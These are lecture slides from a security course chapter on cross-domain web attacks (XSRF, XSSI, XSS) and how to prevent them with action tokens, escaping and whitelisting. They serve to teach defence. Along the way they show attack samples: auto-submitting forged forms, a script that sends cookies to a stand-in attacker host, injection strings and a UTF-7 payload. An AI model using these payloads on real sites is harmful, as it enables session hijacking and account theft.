Chapter10

advertisement
CHAPTER 10
Cross-Domain
Security in Web
Applications
Slides adapted from "Foundations of Security: What Every Programmer
Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan
(ISBN 1590597842; http://www.foundationsofsecurity.com). Except as
otherwise noted, the content of this presentation is licensed under the
Creative Commons 3.0 License.
Agenda




Domain: where our apps & services are hosted
Cross-domain: security threats due to
interactions between our applications and pages
on other domains
Alice is simultaneously (i.e. same browser
session), using our (“good”) web-application and
a “malicious” web-application
Security Issues? Solutions?
 Cross-Site
Request Forgery, Scripting…
10.1. Interaction Between Web
Pages From Different Domains

Possible interactions limited by same-origin
policy (a.k.a. cross-domain security policy)
 Links,
embedded frames, data inclusion across
domains still possible
 Client-side scripts can make requests cross-domain

HTTP & cookie authentication two common
modes (both are usually cached)
 Cached credentials associated with browser instance
 Future (possibly malicious) requests don’t need
further authentication
10.1.1. HTML, JavaScript, and
the Same-Origin Policy

Modern browsers use DHTML
 Support
style layout through CSS
 Behavior directives through JavaScript
 Access Document Object Model (DOM) allowing
reading/modifying page and responding to events

Origin: protocol, hostname, port, but not path

Same-origin policy: scripts can only access
properties (cookies, DOM objects) of documents
of same origin
10.1.1. Same-Origin Examples

Same Origin
 http://www.examplesite.org/here
 http://www.examplesite.org/there
 same

protocol: http, host: examplesite, default port 80
All Different Origins
 http://www.examplesite.org/here
 https://www.examplesite.org/there
 http://www.examplesite.org:8080/thar
 http://www.hackerhome.org/yonder
 Different
protocol: http vs. https, different ports: 80 vs.
8080, different hosts: examplesite vs. hackerhome
10.1.2. Possible Interactions of
Documents from Different Origins (1)

hackerhome.org can link to us, can’t control
<a href="http://www.mywwwservice.com/some_url">Click here!</a>

Or include a hidden embedded frame:
<iframe style="display: none" src="http://www.mywwwservice.com/
some_url"></iframe>
 No
visible cue to the user (style attribute hides it)
 Happens automatically, without user interaction

Same-origin policy prevents JavaScript on
hackerhome direct access to our DOM
10.1.2. Possible Interactions (2)

Occasionally, data loaded from one domain is
considered to originate from different domain
<script src="http://www.mywwwservice.com/some_url></script">

hackerhome can include this script loaded from
our site, but it is considered to originate from
hackerhome instead

Included script can inspect contents of enclosing
page which can define evaluation environment
for script
10.1.2. Possible Interactions (3)

Another way attacker can initiate requests from
user’s browsers to our server:
<form name="f" method="POST"
action="http://www.mywwwservice.com/action">
<input type="hidden" name="cmd" value="do_something">
...
</form>
<script>document.f.submit();</script>

Form is submitted to our server without any input
from user
 Only has a hidden input field, nothing visible to user
 Form has a name, so script can access it via DOM
and automatically submit it
10.1.3. HTTP Request
Authentication






HTTP is stateless, so web apps have to
associate requests with users themselves
HTTP authentication: username/passwd
automatically supplied in HTTP header
Cookie authentication: credentials requested in
form, after POST app issues session token
Browser returns session cookie for each request
Hidden-form authentication: hidden form fields
transfer session token
Http & cookie authentication credentials cached
10.1.4. Lifetime of Cached Cookies
and HTTP Authentication Credentials

Temporary cookies cached until browser shut
down, persistent ones cached until expiry date

HTTP authentication credentials cached in
memory, shared by all browser windows of a
single browser instance

Caching depends only on browser instance
lifetime, not on whether original window is open
10.1.4. Credential Caching
Scenario

(1) Alice has browser window open, (2) creates
new window (3) to visit our site, HTTP
authentication credentials stored

(4) She closes the window, but original one still
open (5) later, she’s lured to the hacker’s site
which causes a surreptitious request to our site
utilizing the cached credentials

Credentials persisted even after (4), cookies
could have been timed-out; step (5) could
happen days or weeks after (4)
10.2. Attack Patterns

Security issues arising from browser interacting
with multiple web apps (ours and malicious
ones), not direct attacks

Cross-Site Request Forgery (XSRF)

Cross-Site Script Inclusion (XSSI)

Cross-Site Scripting (XSS)
10.2.1. Cross-Site Request
Forgery (XSRF)



Malicious site can initiate HTTP requests to our
app on Alice’s behalf, w/o her knowledge
Cached credentials sent to our server
regardless of who made the request
Ex: change password feature on our app
<form method="POST" action="/update_profile"> ...
New Password: <input type="password" name="password">
... </form>
 Hacker
site could execute a script to send a fake
password-change request to our form
 authenticates because cookies are sent
10.2.1. XSRF Example
1. Alice’s browser loads page from hackerhome.org
2. Evil Script runs causing evilform to be submitted
with a password-change request to our “good” form:
www.mywwwservice.com/update_profile with a
<input type="password" id="password"> field
evilform
<form method="POST" name="evilform" target="hiddenframe"
action="https://www.mywwwservice.com/update_profile">
<input type="hidden" id="password" value="evilhax0r">
</form>
<iframe name="hiddenframe" style="display: none">
</iframe> <script>document.evilform.submit();</script>
3. Browser sends authentication cookies to our app. We’re hoodwinked
into thinking the request is from Alice. Her password is changed to
evilhax0r!
10.2.1. XSRF Impacts



Malicious site can’t read info, but can make write
requests to our app!
In Alice’s case, attacker gained control of her
account with full read/write access!
Who should worry about XSRF?
 Apps
w/ server-side state: user info, updatable
profiles such as username/passwd (e.g. Facebook)
 Apps that do financial transactions for users (e.g.
Amazon, eBay)
 Any app that stores user data (e.g. calendars, tasks)
Example: Normal Interaction
Alice
bank.com
/login.html
/auth uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”
Example: Another XSRF Attack
Alice
bank.com evil.org
/login.html
/auth uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/evil.html
<img src="http://bank.com/paybill?
addr=123 evil st & amt=$10000">
/paybill?addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de
“OK. Payment Sent!”
10.2.2. Cross-Site Script
Inclusion (XSSI)

3rd-party can include <script> sourced from us

Static Script Inclusion
 Purpose
is to enable code sharing, i.e. providing
JavaScript library for others to use
 Including 3rd-party script dangerous w/o control since
it runs in our context with full access to client data

Dynamic Script
 Instead
of traditional postback of new HTML doc,
asynchronous requests (AJAX) used to fetch data
 Data exchanged via XML or JSON (arrays, dicts)
10.2.2. XSSI

Malicious website can request dynamic script

Browser authentication cookies would be sent

Script (JSON fragment) returned by server is
accessible to and runs on the malicious site

But, script is evaluated in hacker’s context

Hacker redefines the callback method to process
and harvest the user data as desired
10.2.2. XSSI Example
Request http://www.mywwwservice.com/json/
nav_data?callback_UpdateHeader
Client
Server
Reply
JavaScript Code Snippet
UpdateHeader({
"date_time": "2007/07/19 6:22",
sends back
Typical
user data!
Interaction "logged_in_user": "alice",
"account_balance": "256.98"
})
Attack Scenario
<script>
 Malicious site loads script to
function UpdateHeader(dict) {
initiate the request instead
if (dict['account_balance'] > 100) {
do_phishing_redirect(
 Browser sends cookies
dict['logged_in_user']); }
} // do evil stuff, get user data
 Server replies as usual
</script>
 Evil Script gets user data!
<script
src="http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader">
</script>
XSSI Example: AJAX Script


Dynamic Script Inclusion: viewbalance.html
Good Site: www.bank.com
<script>
x = new XMLHTTPRequest(); // used to make an AJAX request
x.onreadystatechange = ProcessResults;
x.open("POST",
"http://www.bank.com/json/get_data?callback=RenderData");
function ProcessResults() {
if (x.readyState == 4 and x.status = 200)
eval(x.responseBody);
}
</script>
Normal AJAX Interaction
bank.com
Alice
login & authenticate
Cookie: sessionid=40a4c04de
/viewbalance.html
Cookie: sessionid=40a4c04de
/json/get_data?callback=RenderData
RenderData({“acct_no”:”494783”, “balance”:”10000”})
RenderData
Another XSSI Attack
Alice
bank.com evil.org
login & authenticate
Cookie: sessionid=40a4c04de
/viewbalance.html Cookie: sessionid=40a4c04de
/evil.html
<script>
function RenderData(args) { sendArgsToEvilOrg(args); }
</script>
<script src="http://www.bank.com/json/get_data?
callback=RenderData">
RenderData({“acct_no”:”494783”, “balance”:”10000”})
RenderData({“acct_no”:”494783”, “balance”:”10000”})
Overrides
Callback!
10.2.3. Cross-Site Scripting
(XSS)



What if attacker can get a malicious script to be
executed in our application’s context?
access user’s cookies, transfer to their server
Ex: our app could have a query parameter in a
search URL and print it out on page

http://www.mywwwservice.com/query?question=cookies
 Following
fragment in returned HTML document with
value of parameter question inserted into page
...<p>Your query for 'cookies' returned the following results:<p>...
 Unfiltered
input allows attacker to inject scripts
10.2.3. XSS Example

Alice tricked into loading URL (thru link or hidden
frame sourcing it)
http://www.mywwwservice.com/query?
question=cookies+%3Cscript%3Emalicious-script%3C/script%3E

Server’s response contains
<p>Your query for 'cookies <script>malicious-script</script>'
returned the following results:</p>
 Attack

string URL-encodes < and >
malicious-script, any script attacker desires, is
executed in context of our domain
10.2.3. XSS Exploits:
Stealing Cookies


Malicious script could cause browser to send
attacker all cookies for our app’s domain
Attacker gains full access to Alice’s session
<script>
i = new Image();
i.src = "http://www.hackerhome.org/log_cookie?cookie=" +
escape(document.cookie); // URL-encode
</script>

Script associated with our domain
access document.cookie in DOM
 Constructs URL on attacker’s server, gets saved in a
log file, can extract info from cookie parameter
 Can
10.2.3. XSS Exploits: Scripting
the Vulnerable Application

Complex script with specific goal
 Get
personal user info, transfer funds, etc…
 More sophisticated than just stealing cookies

Advantages over cookie stealing
 Stolen
session cookie may expire before it’s used
 Never makes a direct request to our server
 We can’t log his IP, he’s harder to trace
10.2.3. XSS Exploits: Modifying
Web Pages

Attacker can script modifications to web pages
loaded from our site by manipulating DOM


Part of social engineering, phishing attack
Intended for viewing by victim user

Modified page is loaded from our site
 So
URL is still the same
 No certificate-mismatch even with SSL
 Hard to tell that modification is by 3rd party
10.2.3. Sources of Untrusted
Data

Query parameters, HTML form fields

Path of the URI which could be inserted into
page via a “Document not found” error

Cookies, parts of the HTTP request header (e.g.
Referer header)

Data inserted into a SQL DB, file system

3rd party data (e.g. RSS feed)
10.2.3. Stored vs. Reflected
XSS

Reflected XSS: script injected into a request and
returned immediately in response (like query
parameter example)

Stored XSS: script delivered to victim some time
after being injected
 stored somewhere in the meantime
 attack is repeatable, more easily spread
 Ex: Message board with injected script in
a message,
all users who view the message will be attacked

Underlying issue for both is untrusted data
10.2.3. MySpace Attacked by
Stored XSS Worm

XSS really damaging when stored XSS can
propagate in a worm-like pattern

In 2005, XSS worm released on MySpace
 Propagated
through profiles via friend connections
 Payload harmless: added user “Samy” to infected
user’s friends list

Impact: MySpace down for several hours to
clean up profiles (but XSS worm impact could be
much worse!)
10.3. Preventing XSRF

HTTP requests originating from user action are
indistinguishable from those initiated by a script
Need own methods to distinguish valid requests

Inspecting Referer Headers

Validation via User-Provided Secret

Validation via Action Token

10.3.1. Inspecting Referer
Headers



Referer header specifies the URI of document
originating the request
Assuming requests from our site are good, don’t
serve requests not from our site
OK, but not practical since it could be forged or
blanked (even by legitimate users)
 For
well-behaved browsers, reasonable to expect
Referer headers to be accurate, if present
 But if blank, we can’t tell if it’s legitimate or not
10.3.2. Validation via UserProvided Secret

Can require user to enter secret (e.g. login
password) along with requests that make serverside state changes or transactions

Ex: The change password form (10.2.1) could
ask for the user’s current password

Balance with user convenience: use only for
infrequent, “high-value” transactions
 Password or profile changes
 Expensive commercial/financial
operations
10.3.3. Validation via Action
Token



Add special action tokens as hidden fields to
“genuine” forms to distinguish from forgeries
Same-origin policy prevents 3rd party from
inspecting the form to find the token
Need to generate and validate tokens so that
3rd party can’t guess or forge token
 Then can use to distinguish genuine and forged forms
 How? We propose a scheme next.
 Malicious
10.3.3. Generating Action
Tokens

Concatenate value of timestamp or counter c
with the Message Authentication Code (MAC) of
c under secret key K:
 Token: T = MACK(c)||c
 Security dependent on
crypto algorithm for MAC
 || denotes string concatenation, T can be parsed into
individual components later

Recall from 1.5., MACs are function of message
and secret key (See Ch. 15 for more details)
10.3.3. Validating Action Tokens

Split token T into MAC and counter components

Compute expected MAC for given c and check
that given MAC matches

If MAC algorithm is secure and K is secret, 3rd
party can’t create MACK(c), so can’t forge token
10.3.3. Problem with Scheme

Application will accept any token we’ve
previously generated for a browser

Attacker can use our application as an oracle!
 Uses
own browser to go to page on our site w/ form
 Extracts the token from hidden field in form

Need to also verify that incoming request has
action token sent to the same browser (not just
any token sent to some browser)
10.3.3. Fixing the Problem

Bind value of action token to a cookie
policy prevents 3rd party from reading or
setting our cookies
 Use cookie to distinguish between browser instances
 Same-origin

New Scheme
 Cookie C is unpredictable, unique to browser instance
 C can be session authentication cookie
 Or random 128 bits specifically for this purpose
 L = action URL for form with action token
 Compute T = MACK(C||d||L), d is separator
 d ensures uniqueness of concatenation
(e.g. ;)
10.3.3. Validation in New
Scheme


Extract request URL L’ (w/o query part for GET
request) and cookie C’.
Compute expected value of action token:
 Texpected



= MACK(C’||d||L’)
Extract actual Trequest of action token from
appropriate request parameter
Verify Texpected = Trequest ,otherwise reject
Occasionally legitimate request may fail
 Ex:
user leaves page w/ form open and initiates new
session in different window; action token for original
form becomes “stale”
10.3.4. Security Analysis of the
Action Token Scheme

Value of token chosen to be unguessable
 Output of cryptographically strong MAC algorithm
 Attack rate limited by JavaScript loop, far slower than
rates usually supposed for offline attacks against
crypto algorithms

Only way to obtain token (w/o key) is to use our
app as an oracle
 This
also requires the user’s session cookie
 Assume attacker doesn’t have this otherwise he could
already directly hijack the session anyway
 Session cookies are also hard to guess
10.3.4. Security Analysis:
Leakage of Action Tokens

For GET requests, action token visible as query
parameter in request URL
 Would appear in
 Could be leaked
proxy and web server logs
in Referer header if page contains
references (images, links) to 3rd party documents


HTTP spec recommends POST instead of GET
Scheme incorporates target action URL into
MAC computation
 If one URL is leaked, can’t be used against another
 Use fresh cookie for each browser instance, so stolen
action token not usable for future sessions
10.3.4. Analysis: Limitations in
Presence of XSS Vulnerabilities

If application is vulnerable to XSS attack, action
token scheme is ineffective.

Attacker can inject script to steal cookies and
corresponding action tokens.

Or even directly “fill out” forms and submit
request within context of user’s session

But if XSS vulnerability exists, attacker already
has a better mode of attack than XSRF
10.3.4. Analysis: Relying on
Format of Submitted Data



Communication with server often follows RPC
pattern through XMLHttpRequest object
Marshalling data in some form (e.g. JSON/XML)
Form-based request ex:
<form method="POST" action="http://www.mywwwservice.com/action">
<input name="foo" value="I'd like a cookie">
<input name="bar" value="and some tea & coffee">
</form>
 results
in following POST request (not valid JSON)
foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee

Form’s fields encoded as key/value pairs
 Metacharacters (&, =, space) are
 All key/value pairs concatenated,
HTML-encoded
separated by & char
10.3.4. Relying on Format of
Submitted Data

<form> tag also has enctype attribute
 specifying
encoding via MIME media type
 Default: application/x-www-form-urlencoded
 text/plain (&-separated pairs w/o encoding)

Form Example and corresponding POST:
POST request can
<form method="POST"
have arbitrary
action="http://www.mywwwservice.com/action"
content (including
enctype="text/plain">
<input name='{"junk": "ig'
valid JSON/XML)!
value='nore", "new_password": "evilhax0r"}'> Can’t just rely on
</form>
format, use action
Valid JSON!
{"junk": "ig=nore", "new_password": "evilhax0r"}
tokens to prevent
XSRF!
10.4. Preventing XSSI


Can’t stop others from loading our resources
Similar problem with preventing XSRF
to distinguish 3rd party references from
legitimate ones, so we can deny the former
 need

Authentication via Action Token

Restriction to POST Requests

Preventing Resource Access for Cost
10.4.1. Authentication via Action
Token

Put an additional query parameter w/ token
which must be consistent w/ session cookie
 Malicious
page can’t guess token, request refused

Employ same action token scheme introduced
against XSRF in 10.3.3. (can use a single token
for both purposes)

Use POST whenever possible, to prevent
leaking of token via GET parameters in URL
 Leakage
risk less b/c JavaScript document, not HTML
10.4.2. Restriction to POST
Requests

Cross-domain attacks entry point: <script> tags
 these
always use GET

To protect read-only requests, restrict to POST

Use action tokens to protect all Ajax requests
Ajax mixes read-only and state-changing (write)
requests, so POST restriction alone doesn’t help

10.4.3. Preventing Resource
Access for Cost Reasons

If ISP charges for volume of traffic
 Limit resource inclusion by 3rd party for cost reasons
 Just decline requests if Referer header is not one of
our sites
 Serve requests with empty Referer headers

Not a complete solution, but sufficient for limiting
“bandwith leeching”
 Perhaps
a few requests slip through, but only a
fraction of the cost still remains
10.5. Preventing XSS

Never send untrusted data to browser
 Such
that data could cause execution of script
 Usually can just suppress certain characters

We show examples of various contexts in HTML
document as template snippets
substitution placeholders: %(var)s
 evil-script; will denote what attacker injects
 Contexts where XSS attack is possible
 Variable
10.5.1. General Considerations

Input Validation vs. Output Sanitization
 XSS is not just a input validation problem
 Strings with HTML metachars not a problem
until
they’re displayed on the webpage
 Might be valid elsewhere, e.g. in a database, and
thus not validated later when output to HTML
 Sanitize: check strings as you insert into HTML doc

HTML Escaping
 escape
some chars with their literals
 e.g. & = & < = < > = &rt; “ = "
 Library functions exist, but check docs (may not
escape all characters)!
10.5.2. Simple Text


Most straightforward, common situation
Example Context:
<b>Error: Your query '%(query)s' did not return any results.</b>
 Attacker
sets query = <script>evil-script;</script>
 HTML snippet renders as
<b>Error: Your query '<script>evil-script;</script>'
did not return any results.</b>


Prevention: HTML-escape untrusted data
Rationale: If not escaped
 <script>
intended
tags evaluated, data may not display as
10.5.3. Tag Attributes (e.g.,
Form Field Value Attributes)

Contexts where data is inserted into tag attribute

Example HTML Fragment:
<form ...><input name="query" value="%(query)s"></form>
 Attacker
sets
 Renders as

query = cookies"><script>evil-script;</script>
<form ...>
<input name="query" value="cookies">
<script>evil-script;</script>">
</form>
Attacker able to “close the quote”, insert script
10.5.3. More Attribute Injection
Attacks


Image Tag: <img src=%(image_url)s>
Attacker sets image_url = http://www.examplesite.org/
onerror=evil-script;

After Substitution: <img
src=http://www.examplesite.org/
onerror=evil-script;>
browser: first whitespace ends src attribute
 onerror attribute sets handler to be desired script
 Attacker forces error by supplying URL w/o an image
 Can similarly use onload, onmouseover to run scripts
 Attack string didn’t use any HTML metacharacters!
 Lenient
10.5.3. Preventing Attribute
Injection Attacks

HTML-escape untrusted data as usual
 Escape
&, ', ", <, >

Also attribute values must be enclosed in " "

Must escape the quote character to prevent
“closing the quote” attacks as in example

Decide on convention: single vs. double quotes
 But
escape both anyway to be safe
10.5.4. URL Attributes (href and
src)

Dynamic URL attributes vulnerable to injection

Script/Style Sheet URLs: <script
 Attacker

sets script_url
javascript: URLS - <img
 By
setting img_url
src="%(script_url)s">
= http://hackerhome.org/evil.js
src="%(img_url)s">
= javascript:evil-script;
we get
<img src="javascript:evil-script;">
 And
browser executes script when loading image
10.5.4. Preventing URL Attribute
Injection

Escape attribute values and enclose in " "


Follow 10.5.3 guidelines for general injection attacks
Only serve data from servers you control
URLs to 3rd party sites, use absolute HTTP URLS
(i.e. starts with http:// or https://)
 For

Against javascript: injection, whitelist for
good URLs (apply positive filter)
 Not
enough to just blacklist, too many bad URLs
 Ex: even escaping colon doesn’t prevent script
 Could also be data:text/html,<script>evilscript;</script>
10.5.5. Style Attributes

Dangerous if attacker controls style attributes
<div style="background: %(color)s;">I like colors.</div>
 Attacker
 Browser
injects:
evaluates:
color = green; background-image:
url(javascript:evil-script;)
<div style="background: green;
background-image: url(javascript:evil-script;);">
I like colors. </div>


In IE 6 (but not Firefox 1.5), script is executed!
Prevention: whitelist through regular expressions
^([a-z]+)|(#[0-9a-f]+)$ specifies safe
superset of possible color names or hex designation
 Or expose an external param (e.g. color_id)
mapped to a CSS color specifier (lookup table)
 Ex:
10.5.6. Within Style Tags

Injections into style= attributes also apply for
<style> tags

Validate data by whitelisting before inserting into
HTML document <style> tag

Apply same prevention techniques as in 10.5.5.
10.5.7. In JavaScript Context

Be careful embedding dynamic content
 <script>
tags or handlers (onclick, onload, …)
 In Ajax-apps,
server commonly returns JavaScript:
<script>
<script>
var msg_text = '%(msg_text)s'; var msg_text = 'oops';
evil-script; //';
// do something with msg_text
// do something with msg_text
</script>
</script>
injects: msg_text = oops';
 And evil-script; is executed!
 Attacker
evil-script; //
10.5.7. Preventing JavaScript
Injection

Don’t insert user-controlled strings into
JavaScript contexts
 <script>
tags, handler attributes (e.g. onclick)
 w/in code sourced in <script> tag or using eval()
 Exceptions:
data used to form literal (strings, ints, …)
 Enclose strings in ' ' & backslash escape (\n, \t, \x27)
 Format non-strings so that string rep is not malicious
 Backslash escaping important to prevent “escape
from the quote” attack where notions of “inside” and
“outside” string literals is reversed
 Numeric literals ok if from Integer.toString(), …
10.5.7. Another JavaScript
Injection Example

From previous example, if attacker sets
msg_text = foo</script><script>evil-script;</script><script>
 the
following HTML is evaluated:
<script>var msg_text = 'foo</script>
<script>evil-script;</script>
<script>'// do something with msg_text</script>

Browser parses document as HTML first
into 3 <script> tokens before interpreting
as JavaScript
 Thus 1st & 3rd invalid, 2nd executes as evil-script
 Divides
10.5.8. JavaScript-Valued
Attributes

Handlers inside onload, onclick attributes:
 HTML-unescaped
 Ex:
before passing to JS interpreter
<input ... onclick='GotoUrl("%(targetUrl)s");'>
 Attacker
injects:
targetUrl = foo");evil_script("
 Browser <input ...
Loads: onclick='GotoUrl("foo");evil_script("");'>
 JavaScript Interpreter gets GotoUrl("foo");evil_script("");

Prevention: Two Rounds of Escaping
 JavaScript
escape input string, enclose in ' '
 HTML escape entire attribute, enclose in " "
10.5.8. JavaScript-Valued
Attributes Prevention Rationale


HTML-escaping step prevents attacker from
sneaking in HTML-encoded characters
Different style quotes
 Single
for JavaScript literals
 Double for HTML attributes
 Avoid one type accidentally “ending” the other

JavaScript escape function should escape
HTML metachars (&, <, >, ", ') as well
 Escaped
into hex or unicode
 Additional security measure if second step forgotten
10.5.9. Redirects, Cookies, and
Header Injection


Need to filter and validate user input inserted
into HTTP response headers
Ex: servlet returns HTTP redirect
HTTP/1.1 302 Moved
Content-Type: text/html; charset=ISO-8859-1
Location: %(redir_url)s
<html>
<head><title>Moved</title></head>
<body>Moved <a href='%(redir_url)s'>here</a></body>
</html>
 Attacker
Injects:
(URI-encodes
newlines)
oops:foo\r\nSet-Cookie: SESSION=13af..3b;
domain=mywwwservice.com\r\n\r\n
<script>evil()</script>
10.5.9. Header Injection
Example

Resulting HTTP response:
HTTP/1.1 302 Moved
Content-Type: text/html; charset=ISO-8859-1
Location: oops:foo
Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com
<script>evil()</script><html><head><title>Moved</title>
</head><body>
Moved <a href='oops:foo
Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com
<script>evil()</script>'>here</a></body></html>
 Attacker
sets desired cookies: could overwrite user
preferences (DoS) or action tokens (XSRF)
 Double CRLF injects script into body which could be
executed after Location: header is invalidated
10.5.9. Preventing Header
Injection

Ensure URLs for Location: headers are wellformed http: or https:
 Only
consists of characters permitted to be nonescaped according to standard (e.g. RFC 2396)
 Checks that it’s not javascript: URL for example

Check that cookie names and values within
standard (e.g. RFC 2965)

Setting other headers: ensure values contain
only characters allowed by HTTP/1.1 protocol
spec (RFC 2616)
 Restricting
to specs ensures browser parses correctly
10.5.10. Filters for “Safe”
Subsets of HTML

Allow “safe” subset of HTML and render to user

Ex: web-based e-mail app
 Can
allow “harmless” HTML tags (e.g. <h1>)
 But don’t allow execution of malicious scripts

Use strict HTML parser
 Strip
tags and attributes that are not whitelisted (i.e.
known to not allow arbitrary scripting)
 Consult a security expert
10.5.11. Unspecified Charsets, Browser-Side
Charset Guessing, and UTF-7 XSS Attacks

Browser needs to know what character encoding
to use to render HTML document
can specify through charset parameter of
Content-Type HTTP header or <meta http-equiv>
 Default: iso-8859-1
 Or may try to guess the charset
 Server

Example: attacker injects UTF-7 text
+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-
 No
characters that are normally filtered
 No charset specified, so IE guesses UTF-7
 +ADw- , +AD4- encode < , >: script executed!
10.5.11. Preventing Charset
XSS Attacks

Explicitly specify appropriate charset
 Ex:
 Or
Content-Type: text/html; charset=UTF-8
through tag:
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 Meta-tag
should appear before untrusted tags
 Appropriate: the one that reflects encoding
assumptions used by app for filtering/sanitizing input
and HTML encoding output strings
10.5.12. Non-HTML Documents
& IE Content-Type Sniffing

Browsers may ignore MIME type of document
 Specifying Content-Type: text/plain
should not interpret
HTML tags when rendering
 But

not true for IE: mime-type detection
AKA Content-Type Sniffing: ignores MIME spec
 IE
scans doc for HTML tags and interprets them
 Even reinterprets image documents as HTML!
10.5.12. Preventing ContentType Sniffing XSS Attacks

Validate that content format matches MIME type
 Especially
for image files: process through library
 Read image file, convert to bitmap, convert back
 Don’t trust image file format,

Ensure no HTML tags in first 256 bytes of nonHTML file
 Could
prepend 256 bytes of whitespace
 Empirically determined # (also in docs), could be
different for other versions

Or could HTML-escape entire document
10.5.13. Mitigating the Impact of
XSS Attacks

HTTP-Only Cookies: incomplete protection
 HTTPOnly
attribute on cookie in IE prevents it
from being exposed to client-side scripts
 can prevent traditional session hijacking
 But only for IE and doesn’t prevent direct attacks
 Should also disable TRACE requests

Binding Session Cookies to IP Address
 check
if session token is being used from multiple
IP addresses (especially geographically distant)
 could cause user inconvenience, use only for
high-value transactions
Types of XSS Attacks Recap
Context
Examples
(where to inject evil-script)
Prevention
Technique
Simple Text
<b>'%(query)'</b>
HTML Escaping
Tag Attributes
<input … value
="%(query)"/>
HTML Escaping
<script src
="%(script_url)">
Whitelist
(Attribute-Injection)
URL Attributes
(href, src attribs.)
Style Attributes
(or <style> tags)
<div style="back
ground: %(color);">
(attrib values in " ")
(src from own server?)
Whitelist
(Use RegExps)
JavaScript (JS)
<input... onclick=''>
Escape JS/HTML
HTTP Header
HTTP/1.1 302 Moved...
Location: %(redirUrl)
Filter Bad URLs
(check format)
Summary

Cross-Domain Attacks
 Not
direct attacks launched against our app
 User views ours and a malicious site in same browser
 Attacker tries to run evil scripts, steal our cookies, …
 Types: XSRF, XSSI, XSS

Prevention:
 Against
XSRF & XSSI: use cookie-based
authentication, prefer POST over GET, action tokens
 Against XSS: validate input & sanitize output, use
HTML/Javascript escaping appropriately, whitelist
Download